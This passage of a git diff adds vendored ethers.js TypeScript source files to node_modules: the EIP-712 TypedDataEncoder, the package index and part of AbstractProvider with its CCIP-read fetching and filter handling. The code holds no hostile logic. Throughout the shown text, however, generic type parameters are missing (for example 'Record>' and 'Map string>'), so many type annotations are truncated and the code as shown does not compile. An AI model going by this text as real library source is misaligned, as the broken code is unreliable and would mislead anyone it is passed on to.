number; // ...the final Index (-1 for dynamic) + } +}; + +// foo[][3] => { base: "foo", index: "[][3]", array: { +// base: "foo", prefix: "foo[]", count: 3 } } +function splitArray(type: string): ArrayResult { + const match = type.match(/^([^\x5b]*)((\x5b\d*\x5d)*)(\x5b(\d*)\x5d)$/); + if (match) { + return { + base: match[1], + index: (match[2] + match[4]), + array: { + base: match[1], + prefix: (match[1] + match[2]), + count: (match[5] ? parseInt(match[5]): -1), + } + }; + } + + return { base: type }; +} + +/** + * A **TypedDataEncode** prepares and encodes [[link-eip-712]] payloads + * for signed typed data. + * + * This is useful for those that wish to compute various components of a + * typed data hash, primary types, or sub-components, but generally the + * higher level [[Signer-signTypedData]] is more useful. + */ +export class TypedDataEncoder { + /** + * The primary type for the structured [[types]]. + * + * This is derived automatically from the [[types]], since no + * recursion is possible, once the DAG for the types is consturcted + * internally, the primary type must be the only remaining type with + * no parent nodes. + */ + readonly primaryType!: string; + + readonly #types: string; + + /** + * The types. + */ + get types(): Record> { + return JSON.parse(this.#types); + } + + readonly #fullTypes: Map + + readonly #encoderCache: Map string>; + + /** + * Create a new **TypedDataEncoder** for %%types%%. + * + * This performs all necessary checking that types are valid and + * do not violate the [[link-eip-712]] structural constraints as + * well as computes the [[primaryType]]. + */ + constructor(_types: Record>) { + this.#fullTypes = new Map(); + this.#encoderCache = new Map(); + + // Link struct types to their direct child structs + const links: Map> = new Map(); + + // Link structs to structs which contain them as a child + const parents: Map> = new Map(); + + // Link all subtypes within a given struct + const subtypes: Map> = new Map(); + + const types: Record> = { }; + Object.keys(_types).forEach((type) => { + types[type] = _types[type].map(({ name, type }) => { + + // Normalize the base type (unless name conflict) + let { base, index } = splitArray(type); + if (base === "int" && !_types["int"]) { base = "int256"; } + if (base === "uint" && !_types["uint"]) { base = "uint256"; } + + return { name, type: (base + (index || "")) }; + }); + + links.set(type, new Set()); + parents.set(type, [ ]); + subtypes.set(type, new Set()); + }); + this.#types = JSON.stringify(types); + + for (const name in types) { + const uniqueNames: Set = new Set(); + + for (const field of types[name]) { + + // Check each field has a unique name + assertArgument(!uniqueNames.has(field.name), `duplicate variable name ${ JSON.stringify(field.name) } in ${ JSON.stringify(name) }`, "types", _types); + uniqueNames.add(field.name); + + // Get the base type (drop any array specifiers) + const baseType = splitArray(field.type).base; + assertArgument(baseType !== name, `circular type reference to ${ JSON.stringify(baseType) }`, "types", _types); + + // Is this a base encoding type? + const encoder = getBaseEncoder(baseType); + if (encoder) { continue; } + + assertArgument(parents.has(baseType), `unknown type ${ JSON.stringify(baseType) }`, "types", _types); + + // Add linkage + (parents.get(baseType) as Array).push(name); + (links.get(name) as Set).add(baseType); + } + } + + // Deduce the primary type + const primaryTypes = Array.from(parents.keys()).filter((n) => ((parents.get(n) as Array).length === 0)); + assertArgument(primaryTypes.length !== 0, "missing primary type", "types", _types); + assertArgument(primaryTypes.length === 1, `ambiguous primary types or unused types: ${ primaryTypes.map((t) => (JSON.stringify(t))).join(", ") }`, "types", _types); + + defineProperties(this, { primaryType: primaryTypes[0] }); + + // Check for circular type references + function checkCircular(type: string, found: Set) { + assertArgument(!found.has(type), `circular type reference to ${ JSON.stringify(type) }`, "types", _types); + + found.add(type); + + for (const child of (links.get(type) as Set)) { + if (!parents.has(child)) { continue; } + + // Recursively check children + checkCircular(child, found); + + // Mark all ancestors as having this decendant + for (const subtype of found) { + (subtypes.get(subtype) as Set).add(child); + } + } + + found.delete(type); + } + checkCircular(this.primaryType, new Set()); + + // Compute each fully describe type + for (const [ name, set ] of subtypes) { + const st = Array.from(set); + st.sort(); + this.#fullTypes.set(name, encodeType(name, types[name]) + st.map((t) => encodeType(t, types[t])).join("")); + } + } + + /** + * Returnthe encoder for the specific %%type%%. + */ + getEncoder(type: string): (value: any) => string { + let encoder = this.#encoderCache.get(type); + if (!encoder) { + encoder = this.#getEncoder(type); + this.#encoderCache.set(type, encoder); + } + return encoder; + } + + #getEncoder(type: string): (value: any) => string { + + // Basic encoder type (address, bool, uint256, etc) + { + const encoder = getBaseEncoder(type); + if (encoder) { return encoder; } + } + + // Array + const array = splitArray(type).array; + if (array) { + const subtype = array.prefix; + const subEncoder = this.getEncoder(subtype); + return (value: Array) => { + assertArgument(array.count === -1 || array.count === value.length, `array length mismatch; expected length ${ array.count }`, "value", value); + + let result = value.map(subEncoder); + if (this.#fullTypes.has(subtype)) { + result = result.map(keccak256); + } + + return keccak256(concat(result)); + }; + } + + // Struct + const fields = this.types[type]; + if (fields) { + const encodedType = id(this.#fullTypes.get(type) as string); + return (value: Record) => { + const values = fields.map(({ name, type }) => { + const result = this.getEncoder(type)(value[name]); + if (this.#fullTypes.has(type)) { return keccak256(result); } + return result; + }); + values.unshift(encodedType); + return concat(values); + } + } + + assertArgument(false, `unknown type: ${ type }`, "type", type); + } + + /** + * Return the full type for %%name%%. + */ + encodeType(name: string): string { + const result = this.#fullTypes.get(name); + assertArgument(result, `unknown type: ${ JSON.stringify(name) }`, "name", name); + return result; + } + + /** + * Return the encoded %%value%% for the %%type%%. + */ + encodeData(type: string, value: any): string { + return this.getEncoder(type)(value); + } + + /** + * Returns the hash of %%value%% for the type of %%name%%. + */ + hashStruct(name: string, value: Record): string { + return keccak256(this.encodeData(name, value)); + } + + /** + * Return the fulled encoded %%value%% for the [[types]]. + */ + encode(value: Record): string { + return this.encodeData(this.primaryType, value); + } + + /** + * Return the hash of the fully encoded %%value%% for the [[types]]. + */ + hash(value: Record): string { + return this.hashStruct(this.primaryType, value); + } + + /** + * @_ignore: + */ + _visit(type: string, value: any, callback: (type: string, data: any) => any): any { + // Basic encoder type (address, bool, uint256, etc) + { + const encoder = getBaseEncoder(type); + if (encoder) { return callback(type, value); } + } + + // Array + const array = splitArray(type).array; + if (array) { + assertArgument(array.count === -1 || array.count === value.length, `array length mismatch; expected length ${ array.count }`, "value", value); + return value.map((v: any) => this._visit(array.prefix, v, callback)); + } + + // Struct + const fields = this.types[type]; + if (fields) { + return fields.reduce((accum, { name, type }) => { + accum[name] = this._visit(type, value[name], callback); + return accum; + }, >{}); + } + + assertArgument(false, `unknown type: ${ type }`, "type", type); + } + + /** + * Call %%calback%% for each value in %%value%%, passing the type and + * component within %%value%%. + * + * This is useful for replacing addresses or other transformation that + * may be desired on each component, based on its type. + */ + visit(value: Record, callback: (type: string, data: any) => any): any { + return this._visit(this.primaryType, value, callback); + } + + /** + * Create a new **TypedDataEncoder** for %%types%%. + */ + static from(types: Record>): TypedDataEncoder { + return new TypedDataEncoder(types); + } + + /** + * Return the primary type for %%types%%. + */ + static getPrimaryType(types: Record>): string { + return TypedDataEncoder.from(types).primaryType; + } + + /** + * Return the hashed struct for %%value%% using %%types%% and %%name%%. + */ + static hashStruct(name: string, types: Record>, value: Record): string { + return TypedDataEncoder.from(types).hashStruct(name, value); + } + + /** + * Return the domain hash for %%domain%%. + */ + static hashDomain(domain: TypedDataDomain): string { + const domainFields: Array = [ ]; + for (const name in domain) { + if ((>domain)[name] == null) { continue; } + const type = domainFieldTypes[name]; + assertArgument(type, `invalid typed-data domain key: ${ JSON.stringify(name) }`, "domain", domain); + domainFields.push({ name, type }); + } + + domainFields.sort((a, b) => { + return domainFieldNames.indexOf(a.name) - domainFieldNames.indexOf(b.name); + }); + + return TypedDataEncoder.hashStruct("EIP712Domain", { EIP712Domain: domainFields }, domain); + } + + /** + * Return the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%. + */ + static encode(domain: TypedDataDomain, types: Record>, value: Record): string { + return concat([ + "0x1901", + TypedDataEncoder.hashDomain(domain), + TypedDataEncoder.from(types).hash(value) + ]); + } + + /** + * Return the hash of the fully encoded [[link-eip-712]] %%value%% for %%types%% with %%domain%%. + */ + static hash(domain: TypedDataDomain, types: Record>, value: Record): string { + return keccak256(TypedDataEncoder.encode(domain, types, value)); + } + + // Replaces all address types with ENS names with their looked up address + /** + * Resolves to the value from resolving all addresses in %%value%% for + * %%types%% and the %%domain%%. + */ + static async resolveNames(domain: TypedDataDomain, types: Record>, value: Record, resolveName: (name: string) => Promise): Promise<{ domain: TypedDataDomain, value: any }> { + // Make a copy to isolate it from the object passed in + domain = Object.assign({ }, domain); + + // Allow passing null to ignore value + for (const key in domain) { + if ((>domain)[key] == null) { + delete (>domain)[key]; + } + } + + // Look up all ENS names + const ensCache: Record = { }; + + // Do we need to look up the domain's verifyingContract? + if (domain.verifyingContract && !isHexString(domain.verifyingContract, 20)) { + ensCache[domain.verifyingContract] = "0x"; + } + + // We are going to use the encoder to visit all the base values + const encoder = TypedDataEncoder.from(types); + + // Get a list of all the addresses + encoder.visit(value, (type: string, value: any) => { + if (type === "address" && !isHexString(value, 20)) { + ensCache[value] = "0x"; + } + return value; + }); + + // Lookup each name + for (const name in ensCache) { + ensCache[name] = await resolveName(name); + } + + // Replace the domain verifyingContract if needed + if (domain.verifyingContract && ensCache[domain.verifyingContract]) { + domain.verifyingContract = ensCache[domain.verifyingContract]; + } + + // Replace all ENS names with their address + value = encoder.visit(value, (type: string, value: any) => { + if (type === "address" && ensCache[value]) { return ensCache[value]; } + return value; + }); + + return { domain, value }; + } + + /** + * Returns the JSON-encoded payload expected by nodes which implement + * the JSON-RPC [[link-eip-712]] method. + */ + static getPayload(domain: TypedDataDomain, types: Record>, value: Record): any { + // Validate the domain fields + TypedDataEncoder.hashDomain(domain); + + // Derive the EIP712Domain Struct reference type + const domainValues: Record = { }; + const domainTypes: Array<{ name: string, type:string }> = [ ]; + + domainFieldNames.forEach((name) => { + const value = (domain)[name]; + if (value == null) { return; } + domainValues[name] = domainChecks[name](value); + domainTypes.push({ name, type: domainFieldTypes[name] }); + }); + + const encoder = TypedDataEncoder.from(types); + + // Get the normalized types + types = encoder.types; + + const typesWithDomain = Object.assign({ }, types); + assertArgument(typesWithDomain.EIP712Domain == null, "types must not contain EIP712Domain type", "types.EIP712Domain", types); + + typesWithDomain.EIP712Domain = domainTypes; + + // Validate the data structures and types + encoder.encode(value); + + return { + types: typesWithDomain, + domain: domainValues, + primaryType: encoder.primaryType, + message: encoder.visit(value, (type: string, value: any) => { + + // bytes + if (type.match(/^bytes(\d*)/)) { + return hexlify(getBytes(value)); + } + + // uint or int + if (type.match(/^u?int/)) { + return getBigInt(value).toString(); + } + + switch (type) { + case "address": + return value.toLowerCase(); + case "bool": + return !!value; + case "string": + assertArgument(typeof(value) === "string", "invalid string", "value", value); + return value; + } + + assertArgument(false, "unsupported type", "type", type); + }) + }; + } +} + +/** + * Compute the address used to sign the typed data for the %%signature%%. + */ +export function verifyTypedData(domain: TypedDataDomain, types: Record>, value: Record, signature: SignatureLike): string { + return recoverAddress(TypedDataEncoder.hash(domain, types, value), signature); +} diff --git a/node_modules/ethers/src.ts/index.ts b/node_modules/ethers/src.ts/index.ts new file mode 100644 index 000000000000..40496f1f87ee --- /dev/null +++ b/node_modules/ethers/src.ts/index.ts @@ -0,0 +1,12 @@ +/** + * The Application Programming Interface (API) is the collection of + * functions, classes and types offered by the Ethers library. + * + * @_section: api:Application Programming Interface [about-api] + * @_navTitle: API + */ +import * as ethers from "./ethers.js"; + +export { ethers }; + +export * from "./ethers.js"; diff --git a/node_modules/ethers/src.ts/providers/abstract-provider.ts b/node_modules/ethers/src.ts/providers/abstract-provider.ts new file mode 100644 index 000000000000..0d75b435cc48 --- /dev/null +++ b/node_modules/ethers/src.ts/providers/abstract-provider.ts @@ -0,0 +1,1761 @@ +/** + * The available providers should suffice for most developers purposes, + * but the [[AbstractProvider]] class has many features which enable + * sub-classing it for specific purposes. + * + * @_section: api/providers/abstract-provider: Subclassing Provider [abstract-provider] + */ + +// @TODO +// Event coalescence +// When we register an event with an async value (e.g. address is a Signer +// or ENS name), we need to add it immeidately for the Event API, but also +// need time to resolve the address. Upon resolving the address, we need to +// migrate the listener to the static event. We also need to maintain a map +// of Signer/ENS name to address so we can sync respond to listenerCount. + +import { getAddress, resolveAddress } from "../address/index.js"; +import { ZeroAddress } from "../constants/index.js"; +import { Contract } from "../contract/index.js"; +import { namehash } from "../hash/index.js"; +import { Transaction } from "../transaction/index.js"; +import { + concat, dataLength, dataSlice, hexlify, isHexString, + getBigInt, getBytes, getNumber, + isCallException, isError, makeError, assert, assertArgument, + FetchRequest, + toBeArray, toQuantity, + defineProperties, EventPayload, resolveProperties, + toUtf8String +} from "../utils/index.js"; + +import { EnsResolver } from "./ens-resolver.js"; +import { + formatBlock, formatLog, formatTransactionReceipt, formatTransactionResponse +} from "./format.js"; +import { Network } from "./network.js"; +import { copyRequest, Block, FeeData, Log, TransactionReceipt, TransactionResponse } from "./provider.js"; +import { + PollingBlockSubscriber, PollingBlockTagSubscriber, PollingEventSubscriber, + PollingOrphanSubscriber, PollingTransactionSubscriber +} from "./subscriber-polling.js"; + +import type { Addressable, AddressLike } from "../address/index.js"; +import type { BigNumberish, BytesLike } from "../utils/index.js"; +import type { FetchResponse, Listener } from "../utils/index.js"; + +import type { Networkish } from "./network.js"; +import type { FetchUrlFeeDataNetworkPlugin } from "./plugins-network.js"; +//import type { MaxPriorityFeePlugin } from "./plugins-network.js"; +import type { + BlockParams, LogParams, TransactionReceiptParams, + TransactionResponseParams +} from "./formatting.js"; + +import type { + BlockTag, EventFilter, Filter, FilterByBlockHash, OrphanFilter, + PreparedTransactionRequest, Provider, ProviderEvent, + TransactionRequest +} from "./provider.js"; + +type Timer = ReturnType; + + +// Constants +const BN_2 = BigInt(2); + +const MAX_CCIP_REDIRECTS = 10; + +function isPromise(value: any): value is Promise { + return (value && typeof(value.then) === "function"); +} + +function getTag(prefix: string, value: any): string { + return prefix + ":" + JSON.stringify(value, (k, v) => { + if (v == null) { return "null"; } + if (typeof(v) === "bigint") { return `bigint:${ v.toString() }`} + if (typeof(v) === "string") { return v.toLowerCase(); } + + // Sort object keys + if (typeof(v) === "object" && !Array.isArray(v)) { + const keys = Object.keys(v); + keys.sort(); + return keys.reduce((accum, key) => { + accum[key] = v[key]; + return accum; + }, { }); + } + + return v; + }); +} + +/** + * The types of additional event values that can be emitted for the + * ``"debug"`` event. + */ +export type DebugEventAbstractProvider = { + action: "sendCcipReadFetchRequest", + request: FetchRequest + index: number + urls: Array +} | { + action: "receiveCcipReadFetchResult", + request: FetchRequest, + result: any +} | { + action: "receiveCcipReadFetchError", + request: FetchRequest, + result: any +} | { + action: "sendCcipReadCall", + transaction: { to: string, data: string } +} | { + action: "receiveCcipReadCallResult", + transaction: { to: string, data: string } + result: string +} | { + action: "receiveCcipReadCallError", + transaction: { to: string, data: string } + error: Error +}; + + +/** + * The value passed to the [[AbstractProvider-_getSubscriber]] method. + * + * Only developers sub-classing [[AbstractProvider[[ will care about this, + * if they are modifying a low-level feature of how subscriptions operate. + */ +export type Subscription = { + type: "block" | "close" | "debug" | "error" | "finalized" | "network" | "pending" | "safe", + tag: string +} | { + type: "transaction", + tag: string, + hash: string +} | { + type: "event", + tag: string, + filter: EventFilter +} | { + type: "orphan", + tag: string, + filter: OrphanFilter +}; + +/** + * A **Subscriber** manages a subscription. + * + * Only developers sub-classing [[AbstractProvider[[ will care about this, + * if they are modifying a low-level feature of how subscriptions operate. + */ +export interface Subscriber { + /** + * Called initially when a subscriber is added the first time. + */ + start(): void; + + /** + * Called when there are no more subscribers to the event. + */ + stop(): void; + + /** + * Called when the subscription should pause. + * + * If %%dropWhilePaused%%, events that occur while paused should not + * be emitted [[resume]]. + */ + pause(dropWhilePaused?: boolean): void; + + /** + * Resume a paused subscriber. + */ + resume(): void; + + /** + * The frequency (in ms) to poll for events, if polling is used by + * the subscriber. + * + * For non-polling subscribers, this must return ``undefined``. + */ + pollingInterval?: number; +} + +/** + * An **UnmanagedSubscriber** is useful for events which do not require + * any additional management, such as ``"debug"`` which only requires + * emit in synchronous event loop triggered calls. + */ +export class UnmanagedSubscriber implements Subscriber { + /** + * The name fof the event. + */ + name!: string; + + /** + * Create a new UnmanagedSubscriber with %%name%%. + */ + constructor(name: string) { defineProperties(this, { name }); } + + start(): void { } + stop(): void { } + + pause(dropWhilePaused?: boolean): void { } + resume(): void { } +} + +type Sub = { + tag: string; + nameMap: Map + addressableMap: WeakMap; + listeners: Array<{ listener: Listener, once: boolean }>; + // @TODO: get rid of this, as it is (and has to be) + // tracked in subscriber + started: boolean; + subscriber: Subscriber; +}; + +function copy(value: T): T { + return JSON.parse(JSON.stringify(value)); +} + +function concisify(items: Array): Array { + items = Array.from((new Set(items)).values()) + items.sort(); + return items; +} + + +async function getSubscription(_event: ProviderEvent, provider: AbstractProvider): Promise { + if (_event == null) { throw new Error("invalid event"); } + + // Normalize topic array info an EventFilter + if (Array.isArray(_event)) { _event = { topics: _event }; } + + if (typeof(_event) === "string") { + switch (_event) { + case "block": + case "debug": + case "error": + case "finalized": + case "network": + case "pending": + case "safe": { + return { type: _event, tag: _event }; + } + } + } + + if (isHexString(_event, 32)) { + const hash = _event.toLowerCase(); + return { type: "transaction", tag: getTag("tx", { hash }), hash }; + } + + if ((_event).orphan) { + const event = _event; + // @TODO: Should lowercase and whatnot things here instead of copy... + return { type: "orphan", tag: getTag("orphan", event), filter: copy(event) }; + } + + if (((_event).address || (_event).topics)) { + const event = _event; + + const filter: any = { + topics: ((event.topics || []).map((t) => { + if (t == null) { return null; } + if (Array.isArray(t)) { + return concisify(t.map((t) => t.toLowerCase())); + } + return t.toLowerCase(); + })) + }; + + if (event.address) { + const addresses: Array = [ ]; + const promises: Array> = [ ]; + + const addAddress = (addr: AddressLike) => { + if (isHexString(addr)) { + addresses.push(addr); + } else { + promises.push((async () => { + addresses.push(await resolveAddress(addr, provider)); + })()); + } + } + + if (Array.isArray(event.address)) { + event.address.forEach(addAddress); + } else { + addAddress(event.address); + } + if (promises.length) { await Promise.all(promises); } + filter.address = concisify(addresses.map((a) => a.toLowerCase())); + } + + return { filter, tag: getTag("event", filter), type: "event" }; + } + + assertArgument(false, "unknown ProviderEvent", "event", _event); +} + +function getTime(): number { return (new Date()).getTime(); } + +/** + * An **AbstractPlugin** is used to provide additional internal services + * to an [[AbstractProvider]] without adding backwards-incompatible changes + * to method signatures or other internal and complex logic. + */ +export interface AbstractProviderPlugin { + /** + * The reverse domain notation of the plugin. + */ + readonly name: string; + + /** + * Creates a new instance of the plugin, connected to %%provider%%. + */ + connect(provider: AbstractProvider): AbstractProviderPlugin; +} + +/** + * A normalized filter used for [[PerformActionRequest]] objects. + */ +export type PerformActionFilter = { + address?: string | Array; + topics?: Array>; + fromBlock?: BlockTag; + toBlock?: BlockTag; +} | { + address?: string | Array; + topics?: Array>; + blockHash?: string; +}; + +/** + * A normalized transactions used for [[PerformActionRequest]] objects. + */ +export interface PerformActionTransaction extends PreparedTransactionRequest { + /** + * The ``to`` address of the transaction. + */ + to?: string; + + /** + * The sender of the transaction. + */ + from?: string; +} + +/** + * The [[AbstractProvider]] methods will normalize all values and pass this + * type to [[AbstractProvider-_perform]]. + */ +export type PerformActionRequest = { + method: "broadcastTransaction", + signedTransaction: string +} | { + method: "call", + transaction: PerformActionTransaction, blockTag: BlockTag +} | { + method: "chainId" +} | { + method: "estimateGas", + transaction: PerformActionTransaction +} | { + method: "getBalance", + address: string, blockTag: BlockTag +} | { + method: "getBlock", + blockTag: BlockTag, includeTransactions: boolean +} | { + method: "getBlock", + blockHash: string, includeTransactions: boolean +} | { + method: "getBlockNumber" +} | { + method: "getCode", + address: string, blockTag: BlockTag +} | { + method: "getGasPrice" +} | { + method: "getLogs", + filter: PerformActionFilter +} | { + method: "getPriorityFee" +} | { + method: "getStorage", + address: string, position: bigint, blockTag: BlockTag +} | { + method: "getTransaction", + hash: string +} | { + method: "getTransactionCount", + address: string, blockTag: BlockTag +} | { + method: "getTransactionReceipt", + hash: string +} | { + method: "getTransactionResult", + hash: string +}; + +type _PerformAccountRequest = { + method: "getBalance" | "getTransactionCount" | "getCode" +} | { + method: "getStorage", position: bigint +} + +/** + * Options for configuring some internal aspects of an [[AbstractProvider]]. + * + * **``cacheTimeout``** - how long to cache a low-level ``_perform`` + * for, based on input parameters. This reduces the number of calls + * to getChainId and getBlockNumber, but may break test chains which + * can perform operations (internally) synchronously. Use ``-1`` to + * disable, ``0`` will only buffer within the same event loop and + * any other value is in ms. (default: ``250``) + */ +export type AbstractProviderOptions = { + cacheTimeout?: number; + pollingInterval?: number; +}; + +const defaultOptions = { + cacheTimeout: 250, + pollingInterval: 4000 +}; + +type CcipArgs = { + sender: string; + urls: Array; + calldata: string; + selector: string; + extraData: string; + errorArgs: Array +}; + +/** + * An **AbstractProvider** provides a base class for other sub-classes to + * implement the [[Provider]] API by normalizing input arguments and + * formatting output results as well as tracking events for consistent + * behaviour on an eventually-consistent network. + */ +export class AbstractProvider implements Provider { + + #subs: Map; + #plugins: Map; + + // null=unpaused, true=paused+dropWhilePaused, false=paused + #pausedState: null | boolean; + + #destroyed: boolean; + + #networkPromise: null | Promise; + readonly #anyNetwork: boolean; + + #performCache: Map>; + + // The most recent block number if running an event or -1 if no "block" event + #lastBlockNumber: number; + + #nextTimer: number; + #timers: Map void, time: number }>; + + #disableCcipRead: boolean; + + #options: Required; + + /** + * Create a new **AbstractProvider** connected to %%network%%, or + * use the various network detection capabilities to discover the + * [[Network]] if necessary. + */ + constructor(_network?: "any" | Networkish, options?: AbstractProviderOptions) { + this.#options = Object.assign({ }, defaultOptions, options || { }); + + if (_network === "any") { + this.#anyNetwork = true; + this.#networkPromise = null; + } else if (_network) { + const network = Network.from(_network); + this.#anyNetwork = false; + this.#networkPromise = Promise.resolve(network); + setTimeout(() => { this.emit("network", network, null); }, 0); + } else { + this.#anyNetwork = false; + this.#networkPromise = null; + } + + this.#lastBlockNumber = -1; + + this.#performCache = new Map(); + + this.#subs = new Map(); + this.#plugins = new Map(); + this.#pausedState = null; + + this.#destroyed = false; + + this.#nextTimer = 1; + this.#timers = new Map(); + + this.#disableCcipRead = false; + } + + get pollingInterval(): number { return this.#options.pollingInterval; } + + /** + * Returns ``this``, to allow an **AbstractProvider** to implement + * the [[ContractRunner]] interface. + */ + get provider(): this { return this; } + + /** + * Returns all the registered plug-ins. + */ + get plugins(): Array { + return Array.from(this.#plugins.values()); + } + + /** + * Attach a new plug-in. + */ + attachPlugin(plugin: AbstractProviderPlugin): this { + if (this.#plugins.get(plugin.name)) { + throw new Error(`cannot replace existing plugin: ${ plugin.name } `); + } + this.#plugins.set(plugin.name, plugin.connect(this)); + return this; + } + + /** + * Get a plugin by name. + */ + getPlugin(name: string): null | T { + return (this.#plugins.get(name)) || null; + } + + /** + * Prevent any CCIP-read operation, regardless of whether requested + * in a [[call]] using ``enableCcipRead``. + */ + get disableCcipRead(): boolean { return this.#disableCcipRead; } + set disableCcipRead(value: boolean) { this.#disableCcipRead = !!value; } + + // Shares multiple identical requests made during the same 250ms + async #perform(req: PerformActionRequest): Promise { + const timeout = this.#options.cacheTimeout; + + // Caching disabled + if (timeout < 0) { return await this._perform(req); } + + // Create a tag + const tag = getTag(req.method, req); + + let perform = this.#performCache.get(tag); + if (!perform) { + perform = this._perform(req); + + this.#performCache.set(tag, perform); + + setTimeout(() => { + if (this.#performCache.get(tag) === perform) { + this.#performCache.delete(tag); + } + }, timeout); + } + + return await perform; + } + + /** + * Resolves to the data for executing the CCIP-read operations. + */ + async ccipReadFetch(tx: PerformActionTransaction, calldata: string, urls: Array): Promise { + if (this.disableCcipRead || urls.length === 0 || tx.to == null) { return null; } + + const sender = tx.to.toLowerCase(); + const data = calldata.toLowerCase(); + + const errorMessages: Array = [ ]; + + for (let i = 0; i < urls.length; i++) { + const url = urls[i]; + + // URL expansion + const href = url.replace("{sender}", sender).replace("{data}", data); + + // If no {data} is present, use POST; otherwise GET + //const json: string | null = (url.indexOf("{data}") >= 0) ? null: JSON.stringify({ data, sender }); + + //const result = await fetchJson({ url: href, errorPassThrough: true }, json, (value, response) => { + // value.status = response.statusCode; + // return value; + //}); + const request = new FetchRequest(href); + if (url.indexOf("{data}") === -1) { + request.body = { data, sender }; + } + + this.emit("debug", { action: "sendCcipReadFetchRequest", request, index: i, urls }); + + let errorMessage = "unknown error"; + + // Fetch the resource... + let resp: FetchResponse; + try { + resp = await request.send(); + } catch (error: any) { + // ...low-level fetch error (missing host, bad SSL, etc.), + // so try next URL + errorMessages.push(error.message); + this.emit("debug", { action: "receiveCcipReadFetchError", request, result: { error } }); + continue; + } + + try { + const result = resp.bodyJson; + if (result.data) { + this.emit("debug", { action: "receiveCcipReadFetchResult", request, result }); + return result.data; + } + if (result.message) { errorMessage = result.message; } + this.emit("debug", { action: "receiveCcipReadFetchError", request, result }); + } catch (error) { } + + // 4xx indicates the result is not present; stop + assert(resp.statusCode < 400 || resp.statusCode >= 500, `response not found during CCIP fetch: ${ errorMessage }`, + "OFFCHAIN_FAULT", { reason: "404_MISSING_RESOURCE", transaction: tx, info: { url, errorMessage } }); + + // 5xx indicates server issue; try the next url + errorMessages.push(errorMessage); + } + + assert(false, `error encountered during CCIP fetch: ${ errorMessages.map((m) => JSON.stringify(m)).join(", ") }`, "OFFCHAIN_FAULT", { + reason: "500_SERVER_ERROR", + transaction: tx, info: { urls, errorMessages } + }); + } + + /** + * Provides the opportunity for a sub-class to wrap a block before + * returning it, to add additional properties or an alternate + * sub-class of [[Block]]. + */ + _wrapBlock(value: BlockParams, network: Network): Block { + return new Block(formatBlock(value), this); + } + + /** + * Provides the opportunity for a sub-class to wrap a log before + * returning it, to add additional properties or an alternate + * sub-class of [[Log]]. + */ + _wrapLog(value: LogParams, network: Network): Log { + return new Log(formatLog(value), this); + } + + /** + * Provides the opportunity for a sub-class to wrap a transaction + * receipt before returning it, to add additional properties or an + * alternate sub-class of [[TransactionReceipt]]. + */ + _wrapTransactionReceipt(value: TransactionReceiptParams, network: Network): TransactionReceipt { + return new TransactionReceipt(formatTransactionReceipt(value), this); + } + + /** + * Provides the opportunity for a sub-class to wrap a transaction + * response before returning it, to add additional properties or an + * alternate sub-class of [[TransactionResponse]]. + */ + _wrapTransactionResponse(tx: TransactionResponseParams, network: Network): TransactionResponse { + return new TransactionResponse(formatTransactionResponse(tx), this); + } + + /** + * Resolves to the Network, forcing a network detection using whatever + * technique the sub-class requires. + * + * Sub-classes **must** override this. + */ + _detectNetwork(): Promise { + assert(false, "sub-classes must implement this", "UNSUPPORTED_OPERATION", { + operation: "_detectNetwork" + }); + } + + /** + * Sub-classes should use this to perform all built-in operations. All + * methods sanitizes and normalizes the values passed into this. + * + * Sub-classes **must** override this. + */ + async _perform(req: PerformActionRequest): Promise { + assert(false, `unsupported method: ${ req.method }`, "UNSUPPORTED_OPERATION", { + operation: req.method, + info: req + }); + } + + // State + + async getBlockNumber(): Promise { + const blockNumber = getNumber(await this.#perform({ method: "getBlockNumber" }), "%response"); + if (this.#lastBlockNumber >= 0) { this.#lastBlockNumber = blockNumber; } + return blockNumber; + } + + /** + * Returns or resolves to the address for %%address%%, resolving ENS + * names and [[Addressable]] objects and returning if already an + * address. + */ + _getAddress(address: AddressLike): string | Promise { + return resolveAddress(address, this); + } + + /** + * Returns or resolves to a valid block tag for %%blockTag%%, resolving + * negative values and returning if already a valid block tag. + */ + _getBlockTag(blockTag?: BlockTag): string | Promise { + if (blockTag == null) { return "latest"; } + + switch (blockTag) { + case "earliest": + return "0x0"; + case "finalized": + case "latest": + case "pending": + case "safe": + return blockTag; + } + + + if (isHexString(blockTag)) { + if (isHexString(blockTag, 32)) { return blockTag; } + return toQuantity(blockTag); + } + + if (typeof(blockTag) === "bigint") { + blockTag = getNumber(blockTag, "blockTag"); + } + + if (typeof(blockTag) === "number") { + if (blockTag >= 0) { return toQuantity(blockTag); } + if (this.#lastBlockNumber >= 0) { return toQuantity(this.#lastBlockNumber + blockTag); } + return this.getBlockNumber().then((b) => toQuantity(b + blockTag)); + } + + assertArgument(false, "invalid blockTag", "blockTag", blockTag); + } + + /** + * Returns or resolves to a filter for %%filter%%, resolving any ENS + * names or [[Addressable]] object and returning if already a valid + * filter. + */ + _getFilter(filter: Filter | FilterByBlockHash): PerformActionFilter | Promise { + + // Create a canonical representation of the topics + const topics = (filter.topics || [ ]).map((t) => { + if (t == null) { return null; } + if (Array.isArray(t)) { + return concisify(t.map((t) => t.toLowerCase())); + } + return t.toLowerCase(); + }); + + const blockHash = ("blockHash" in filter) ? filter.blockHash: undefined; + + const resolve = (_address: Array, fromBlock?: string, toBlock?: string) => { + let address: undefined | string | Array = undefined; + switch (_address.length) { + case 0: break; + case 1: + address = _address[0]; + break; + default: + _address.sort(); + address = _address; + } + + if (blockHash) { + if (fromBlock != null || toBlock != null) { + throw new Error("invalid filter"); + } + } + + const filter = { }; + if (address) { filter.address = address; } + if (topics.length) { filter.topics = topics; } + if (fromBlock) { filter.fromBlock = fromBlock; } + if (toBlock) { filter.toBlock = toBlock; } + if (blockHash) { filter.blockHash = blockHash; } + + return filter; + }; + + // Addresses could be async (ENS names or Addressables) + let address: Array> = [ ]; + if (filter.address) { + if (Array.isArray(filter.address)) { + for (const addr of filter.address) { address.push(this._getAddress(addr)); } + } else { + address.push(this._getAddress(filter.address)); + } + } + + let fromBlock: undefined | string | Promise = undefined; + if ("fromBlock" in filter) { fromBlock = this._getBlockTag(filter.fromBlock); } + + let toBlock: undefined | string | Promise = undefined; + if ("toBlock" in filter) { toBlock = this._getBlockTag(filter.toBlock); } + + if (address.filter((a) => (typeof(a) !== "string")).length || + (fromBlock != null && typeof(fromBlock) !== "string") || + (toBlock != null && typeof(toBlock) !== "string")) { + + return Promise.all([ Promise.all(address), fromBlock, toBlock ]).then((result) => { + return resolve(result[0], result[1], result[2]); + }); + } + + return resolve(>address, fromBlock, toBlock); + } + + /** + * Returns or resolves to a transaction for %%request%%, resolving + * any ENS names or [[Addressable]] and returning if already a valid + * transaction. 